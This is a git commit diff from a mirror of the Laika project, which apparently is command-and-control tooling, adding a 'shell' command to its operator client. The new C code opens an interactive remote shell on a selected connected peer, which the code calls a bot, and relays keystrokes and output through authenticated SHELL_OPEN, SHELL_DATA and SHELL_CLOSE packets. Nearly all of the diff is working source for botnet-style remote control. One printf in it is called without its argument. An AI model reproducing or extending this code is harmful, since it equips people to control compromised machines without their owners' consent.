mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-07 16:40:05 +00:00
Added 'shell' command to LaikaShell
- another major refactoring
This commit is contained in:
@@ -11,6 +11,7 @@ typedef struct sShell_client {
|
||||
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
||||
struct sLaika_pollList pList;
|
||||
struct sLaika_peer *peer;
|
||||
tShell_peer *openShell; /* if not NULL, shell is open on peer */
|
||||
struct hashmap *peers;
|
||||
tShell_peer **peerTbl;
|
||||
int peerTblCount;
|
||||
@@ -28,6 +29,10 @@ tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id);
|
||||
int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */
|
||||
void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id);
|
||||
|
||||
void shellC_openShell(tShell_client *client, tShell_peer *peer);
|
||||
void shellC_closeShell(tShell_client *client);
|
||||
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz);
|
||||
|
||||
void shellC_printInfo(tShell_peer *peer);
|
||||
|
||||
#endif
|
@@ -17,6 +17,8 @@ void shellT_printf(const char *format, ...);
|
||||
|
||||
/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */
|
||||
bool shellT_waitForInput(int timeout);
|
||||
int shellT_readRawInput(uint8_t *buf, size_t max);
|
||||
void shellT_writeRawOutput(uint8_t *buf, size_t sz);
|
||||
char shellT_getch(void);
|
||||
int shellT_kbget(void);
|
||||
void shellT_printPrompt(void);
|
||||
|
@@ -79,6 +79,29 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
|
||||
shellC_rmvPeer(client, bot, id);
|
||||
}
|
||||
|
||||
void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
tShell_client *client = (tShell_client*)uData;
|
||||
|
||||
/* sanity check */
|
||||
if (client->openShell == NULL)
|
||||
LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n");
|
||||
|
||||
laikaS_read(&peer->sock, buf, sz);
|
||||
shellT_writeRawOutput(buf, sz);
|
||||
}
|
||||
|
||||
void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
tShell_client *client = (tShell_client*)uData;
|
||||
|
||||
/* sanity check */
|
||||
if (client->openShell == NULL)
|
||||
LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n");
|
||||
|
||||
/* close shell */
|
||||
shellC_closeShell(client);
|
||||
}
|
||||
|
||||
struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
|
||||
shellC_handleHandshakeRes,
|
||||
@@ -92,6 +115,14 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
shellC_handleRmvPeer,
|
||||
crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t),
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_DATA,
|
||||
shellC_handleShellData,
|
||||
0,
|
||||
true),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_CLOSE,
|
||||
shellC_handleShellClose,
|
||||
0,
|
||||
false),
|
||||
};
|
||||
|
||||
void shellC_init(tShell_client *client) {
|
||||
@@ -105,6 +136,7 @@ void shellC_init(tShell_client *client) {
|
||||
);
|
||||
|
||||
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, shell_ElemCompare, NULL, NULL);
|
||||
client->openShell = NULL;
|
||||
client->peerTbl = NULL;
|
||||
client->peerTblCap = 4;
|
||||
client->peerTblCount = 0;
|
||||
@@ -273,6 +305,38 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
|
||||
shellP_freePeer(oldPeer);
|
||||
}
|
||||
|
||||
void shellC_openShell(tShell_client *client, tShell_peer *peer) {
|
||||
/* check if we already have a shell open */
|
||||
if (client->openShell)
|
||||
return;
|
||||
|
||||
/* send SHELL_OPEN request */
|
||||
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ);
|
||||
laikaS_write(&client->peer->sock, peer->pub, sizeof(peer->pub));
|
||||
laikaS_endOutPacket(client->peer);
|
||||
client->openShell = peer;
|
||||
}
|
||||
|
||||
void shellC_closeShell(tShell_client *client) {
|
||||
/* check if we have a shell open */
|
||||
if (client->openShell == NULL)
|
||||
return;
|
||||
|
||||
/* send SHELL_CLOSE request */
|
||||
laikaS_emptyOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE);
|
||||
client->openShell = NULL;
|
||||
}
|
||||
|
||||
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
|
||||
/* check if we have a shell open */
|
||||
if (client->openShell == NULL)
|
||||
return;
|
||||
|
||||
laikaS_startVarPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_DATA);
|
||||
laikaS_write(&client->peer->sock, data, sz);
|
||||
laikaS_endVarPacket(client->peer);
|
||||
}
|
||||
|
||||
void shellC_printInfo(tShell_peer *peer) {
|
||||
char buf[128];
|
||||
|
||||
|
@@ -1,8 +1,35 @@
|
||||
#include <setjmp.h>
|
||||
|
||||
#include "lmem.h"
|
||||
#include "sclient.h"
|
||||
#include "speer.h"
|
||||
#include "scmd.h"
|
||||
#include "sterm.h"
|
||||
#include "lerror.h"
|
||||
|
||||
#define CMD_ERROR(...) do { \
|
||||
shellT_printf("[ERROR] : " __VA_ARGS__); \
|
||||
longjmp(cmdE_err, 1); \
|
||||
} while(0);
|
||||
|
||||
jmp_buf cmdE_err;
|
||||
|
||||
/* ===========================================[[ Helper Functions ]]============================================= */
|
||||
|
||||
tShell_cmdDef *shellS_findCmd(char *cmd);
|
||||
|
||||
tShell_peer *shellS_getPeer(tShell_client *client, int id) {
|
||||
if (id >= client->peerTblCount)
|
||||
CMD_ERROR("Not a valid peer ID! [%d]\n", id);
|
||||
|
||||
return client->peerTbl[id];
|
||||
}
|
||||
|
||||
int shellS_readInt(char *str) {
|
||||
return atoi(str);
|
||||
}
|
||||
|
||||
/* ===========================================[[ Command Handlers ]]============================================= */
|
||||
|
||||
void helpCMD(tShell_client *client, int args, char *argc[]);
|
||||
|
||||
@@ -19,25 +46,51 @@ void listPeers(tShell_client *client, int args, char *argc[]) {
|
||||
shellT_printf("\n");
|
||||
}
|
||||
|
||||
void openShell(tShell_client *client, int args, char *argc[]) {
|
||||
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
tShell_peer *peer;
|
||||
int id, sz;
|
||||
|
||||
if (args < 2)
|
||||
CMD_ERROR("Usage: shell [PEER_ID]\n");
|
||||
|
||||
id = shellS_readInt(argc[1]);
|
||||
peer = shellS_getPeer(client, id);
|
||||
|
||||
shellT_printf("\n\nOpening shell on peer %04d...\n\n");
|
||||
|
||||
/* open shell on peer */
|
||||
shellC_openShell(client, peer);
|
||||
|
||||
/* while client is alive, and our shell is open */
|
||||
while (laikaS_isAlive((&client->peer->sock)) && client->openShell) {
|
||||
/* poll for 50ms */
|
||||
if (!shellC_poll(client, 50)) {
|
||||
/* check if we have input! */
|
||||
if (shellT_waitForInput(0)) {
|
||||
/* we have input! send SHELL_DATA packet */
|
||||
sz = shellT_readRawInput(buf, sizeof(buf));
|
||||
if (sz <= 0) /* sanity check */
|
||||
break;
|
||||
|
||||
shellC_sendDataShell(client, buf, sz);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* =============================================[[ Command Table ]]============================================== */
|
||||
|
||||
#define CREATECMD(_cmd, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .help = _help, .callback = _callback})
|
||||
|
||||
tShell_cmdDef shellS_cmds[] = {
|
||||
CREATECMD("help", "Lists avaliable commands", helpCMD),
|
||||
CREATECMD("list", "Lists all connected peers to CNC", listPeers),
|
||||
CREATECMD("shell", "Opens a shell on peer", openShell),
|
||||
};
|
||||
|
||||
#undef CREATECMD
|
||||
|
||||
void helpCMD(tShell_client *client, int args, char *argc[]) {
|
||||
int i;
|
||||
|
||||
shellT_printf("\n\n=== [[ Command List ]] ===\n\n");
|
||||
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
|
||||
shellT_printf("%04d '%s'\t- %s\n", i, shellS_cmds[i].cmd, shellS_cmds[i].help);
|
||||
}
|
||||
shellT_printf("\n");
|
||||
}
|
||||
|
||||
tShell_cmdDef *shellS_findCmd(char *cmd) {
|
||||
int i;
|
||||
|
||||
@@ -50,6 +103,16 @@ tShell_cmdDef *shellS_findCmd(char *cmd) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void helpCMD(tShell_client *client, int args, char *argc[]) {
|
||||
int i;
|
||||
|
||||
shellT_printf("\n\n=== [[ Command List ]] ===\n\n");
|
||||
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
|
||||
shellT_printf("%04d '%s'\t- %s\n", i, shellS_cmds[i].cmd, shellS_cmds[i].help);
|
||||
}
|
||||
shellT_printf("\n");
|
||||
}
|
||||
|
||||
void shellS_initCmds(void) {
|
||||
/* stubbed for now, TODO: setup command hashmap */
|
||||
}
|
||||
@@ -92,7 +155,9 @@ void shellS_runCmd(tShell_client *client, char *cmd) {
|
||||
}
|
||||
|
||||
/* run command */
|
||||
cmdDef->callback(client, args, argc);
|
||||
if (setjmp(cmdE_err) == 0) {
|
||||
cmdDef->callback(client, args, argc);
|
||||
}
|
||||
|
||||
/* free our argument buffer */
|
||||
laikaM_free(argc);
|
||||
|
@@ -77,11 +77,20 @@ bool shellT_waitForInput(int timeout) {
|
||||
return select(1, &fds, NULL, NULL, &tv) > 0;
|
||||
}
|
||||
|
||||
int shellT_readRawInput(uint8_t *buf, size_t max) {
|
||||
return read(STDIN_FILENO, buf, max);
|
||||
}
|
||||
|
||||
void shellT_writeRawOutput(uint8_t *buf, size_t sz) {
|
||||
write(STDOUT_FILENO, buf, sz);
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
char shellT_getch(void) {
|
||||
int r;
|
||||
char in;
|
||||
|
||||
if ((r = read(STDIN_FILENO, &in, 1)) > 0) {
|
||||
if ((r = shellT_readRawInput(&in, 1)) > 0) {
|
||||
return in;
|
||||
} else {
|
||||
return r;
|
||||
|
Reference in New Issue
Block a user